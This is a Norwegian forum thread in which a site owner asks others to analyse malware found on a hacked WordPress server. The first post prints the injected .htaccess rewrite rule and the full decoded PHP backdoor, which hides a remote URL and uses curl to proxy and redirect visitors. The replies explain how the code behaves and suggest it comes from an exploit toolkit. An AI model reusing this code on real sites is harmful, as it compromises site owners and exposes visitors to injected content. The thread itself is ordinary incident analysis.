Du må være registrert og logget inn for å kunne legge ut innlegg på freak.no
X
LOGG INN
... eller du kan registrere deg nå
Dette nettstedet er avhengig av annonseinntekter for å holde driften og videre utvikling igang. Vi liker ikke reklame heller, men alternativene er ikke mange. Vær snill å vurder å slå av annonseblokkering, eller å abonnere på en reklamefri utgave av nettstedet.
  3 2404
Nerdenes Prins
Stormen's Avatar
En av Wordpress-sitene våre er hacket:

www.stromeksperten.no

Jeg logget inn på serveren og sjekket. De har modifisert .htaccess fila på følgende måte:

# BEGIN SYSTEM API
RewriteEngine on
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^xzeac/(.*)$ wp-admin/maint/wp-conten.php?$1 [L]

# END SYSTEM API
Vis hele sitatet...
Jeg sjekket deretter "wp-conten.php" fila. Her finner jeg en base64 scramblet kode, som jeg lenker til her:

http://www.filedropper.com/showdownload.php/base64

Når jeg dekrypterer denne base64-koden, så får jeg følgende output:
error_reporting(0); $lru = "gg/66551324912345824801528/291s293r654o358d894-4502674n550i200a383m417/539n523o433t599t860u453b488d347e322r290/806m243o771c122.808p804w934-266t284s462o458h478-117n717i372m468d391a823/568/674:241p107t197t574h606"; $url = ''; if (substr($lru, 0, 2)=='gg') { for($x=strlen($lru);$x>0;$x-=4) $url .= substr($lru,$x,1); } else $url = $lru; $e = '.php'; $q = ""; $test = 'suka-test'; if ((!$q || isset($_GET[$q])) && preg_match("/^[^\/][a-z0-9-_\/\.]+$/i", $a = $q ? $_GET[$q] : $_SERVER["QUERY_STRING"])) { $strlena = strlen($a); $aori = $a; $a = rtrim($a,'/'); if($test && $a == $test) { echo 'OK'; exit; } curl_setopt($ch = curl_init($url.($w=preg_replace("/^([a-z0-9-_\/]+)(\.php|\.html|\/|)$/i", '$1'.$e, $a, -1, $h))), CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); if (isset($_SERVER["HTTP_REFERER"])) curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]); $result = curl_exec($ch); if ((($c = curl_getinfo($ch, CURLINFO_HTTP_CODE)) == 301 || $c == 302) && ($u = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL))) { $end = FALSE; $rd = $u; while ($end===FALSE) { curl_setopt($cht = curl_init($rd), CURLOPT_RETURNTRANSFER, 1); curl_setopt($cht, CURLOPT_HEADER, 1); curl_setopt($cht, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($cht, CURLOPT_USERAGENT, 'Opera'); curl_setopt($cht, CURLOPT_REFERER, 'http://www.google.com'); $rrt = curl_exec($cht); $u = curl_getinfo($cht, CURLINFO_EFFECTIVE_URL); if (preg_match('#Location\: ([\S]+)#si',$rrt,$rdr)) { $rd = $rdr[1]; if (!preg_match('#redbutton#',$rd)) { $end = TRUE; break; } } else { $end = TRUE; break; } } header('Location: ' . $rd, true, $c); exit; } else if ($c == 200 && $result) { header('Content-Type: ' . curl_getinfo($ch, CURLINFO_CONTENT_TYPE)); $result = preg_replace('#^.*?\<html#si','<html',$result); $ori = $result; $t = $_SERVER["SCRIPT_NAME"]; $h = strlen($w) - strlen($e) - $strlena; $result = preg_replace('/background(-image\\(.*?url\(["\'])([^\/][a-z0-9-_\.\/]+)(["\']\))/i', 'background$1$2' . $t . '$3$4', $result); $hz = ($h<0) ? substr($a, $h) : ""; if (substr($aori,-1)=='/') { $result = preg_replace('/<(a|link|img)(.*?)(href|src)=["\']((?!http|\/)[a-z0-9-_\.\/\?\=]+)["\'](.*?)>/i', '<$1$2$3="../$4"$5>', $result); } $result = ( ($h) || substr($a, -4) == '.css') ? preg_replace('/<a(.*?)href=["\'](' . preg_quote($t, '/') . '[a-z0-9-_]+)(' . preg_quote($e) . ')["\'](.*?)>/i', '<a$1href="$2' . $hz . '"$4>', $result) : $ori; if (strpos($_SERVER['REQUEST_URI'], 'index.php?')!==FALSE) { $result = preg_replace('/<(link|img)(.*?)(href|src)=["\']((?!http|\/)[a-z0-9-_\.\/\=]+).*?["\'](.*?)>/i', '<$1$2$3="index.php?$4"$5>', $result); } echo $result; exit; } }
Vis hele sitatet...
Det ser ut som de har scramblet URL-en til et skript, men hva er dette?

Kan noen hjelpe meg finne ut mer om dette?

PS: Det er ikke businesskritisk, det er bare en gammel Wordpress som er blitt stående på en server, så bare "morsomt" å finne ut litt mer før jeg evt. wiper Wordpressen.
<?php getUserTitle(); ?>
MrMrtn's Avatar
Jeg tok en liten titt på det og noterte det jeg fant ut her; https://gist.github.com/MartinIngese...9e7c7fed34424b.
Utifra hva jeg kan se, så lastes det inn et sekundært script som hackeren gjør manuelt. På denne måten unngår hackeren at "the good stuff" lagres direkte på maskinen. Hvis du tilfeldigvis har loggene dine liggende, så kunne det kanskje være mulig å få tak i den korrekte URLen hackeren har brukt slik at vi finner ut mer. Men utifra det vi har nå, så er det ikke mulig å komme lenger.
m0b
m0b's Avatar
DonorAdministrator
Med et kjapt overblikk fra koden som MrMrtn har formatert: Ut i fra hva som er responsen til nettsida så avgjør scriptet hva den skal gjøre. Sjekk ut http-status 301, 302 og 200 fra f.eks http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html.

Dersom 301 eller 302 så skal en location header sendes (http://en.wikipedia.org/wiki/HTTP_location), og sende trafikken videre til en url som bestemmes av forrige forespørsel. Hvis 200 kan det se ut til at det er en rekke html-data som blir omskrevet. Enten for å kunne deface eller injecte.

Du kan også selv leke litt med koden for å se hva det er som egentlig foregår. Hvis du kommenterer ut linjer med curl_exec så skal du være safe for å sende ut informasjon uten at du vet om det. Slenger du inn koden og debugger den med f.eks Zend Studio eller lignende så får du en løpende oversikt over hva som skjer i koden og hva variabelverdier er til enhver tid. Da slipper man echo $variabel; for "debugging" underveis i kode.
Sist endret av m0b; 23. mai 2015 kl. 13:14.
curl følger ikke redirects, derfor kjører den en loop på hva enn du redirectes til.

For meg ser dette ut som et generisk script, antageligvis fra et exploit-toolkit. De scanner etter sårbare plugins, exploiter de, og laster opp script som serverer spesifikke sårbarheter basert på browseren din (vha. User-Agent). Alternativt (eller i tillegg) så forsøker de ofte injecte slik at innlogginger til wp-admin går via deres egen server. Deretter kan de logge inn og spy ut reklame/malware/linker på bloggen din enten for penger, SEO eller som et springbrett for å lagre malware-scriptene sine til neste side de hacker.

Jeg ville ikke forsøkt å forske alt for mye på dette, med mindre du har serverlogger med massevis av 404-requester til ulike plugins. Dette er ofte hyllesoftware.